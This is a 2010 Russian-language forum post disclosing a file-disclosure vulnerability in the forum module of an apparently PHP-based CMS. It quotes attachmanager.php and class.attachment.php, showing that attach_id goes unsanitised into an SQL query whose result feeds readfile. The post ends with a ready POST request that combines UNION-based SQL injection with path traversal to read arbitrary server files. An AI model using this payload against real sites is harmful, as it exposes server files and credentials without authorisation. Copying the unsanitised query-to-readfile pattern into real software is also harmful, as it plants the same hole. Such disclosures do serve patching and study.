Показать сообщение отдельно
Старый 06.07.2010, 21:22   #7
Chelios
 
Регистрация: 05.07.2010
Сообщений: 42
Репутация: 14
По умолчанию

File Disclosure в стандартном модуле Forum

need:admin or moderator account; mq=off
file: /modules/forum/attachmanager.php
PHP код:
if ($rcxUser)
{
    if ( 
$rcxUser->isAdmin($rcxModule->mid()) || is_moderator($fp->forum_id$rcxUser->uid()))
    {
        
$adminview 1;
    }
}

$op $_POST['op'];
switch (
$op)
{
    case 
_DOWNLOAD:
    {
        
$attach Attachment::getByID($_POST['attach_id']);
        
$attach->download();
        break;
    } 
file: /modules/forum/class/class.attachment.php
PHP код:
    function getByID($attach_id)
    {
        global 
$db$bbTable;

        
$sql "SELECT * FROM ".$bbTable['attachments']." WHERE attach_id=$attach_id";
        
$result $db->query($sql);

        
$ret false;
        if (
$result)
        {
            
$row $db->fetch_object($result);
            
$ret = new Attachment($row);
        }
        return 
$ret;
    }

     ......

    function 
download()
    {
        global 
$bbPath;
        if(!
file_exists($bbPath['path'].'cache/attachments/'.$this->file_pseudoname))
        {
            die(
_MD_NO_SUCH_FILE);
        }

        
$this->incrementHitCount();

        
header("Content-type: ".$this->file_size);
        
header("Content-Disposition: attachment; filename=".$this->file_name);
        
readfile($bbPath['path'].'cache/attachments/'.$this->file_pseudoname);

    } 
result:

Код:
POST http://[host]/modules/forum/attachmanager.php?post_id=2
op=Download
attach_id=2+union+select+1,2,3,'../../../[local_file]',5,6,7
Chelios вне форума   Ответить с цитированием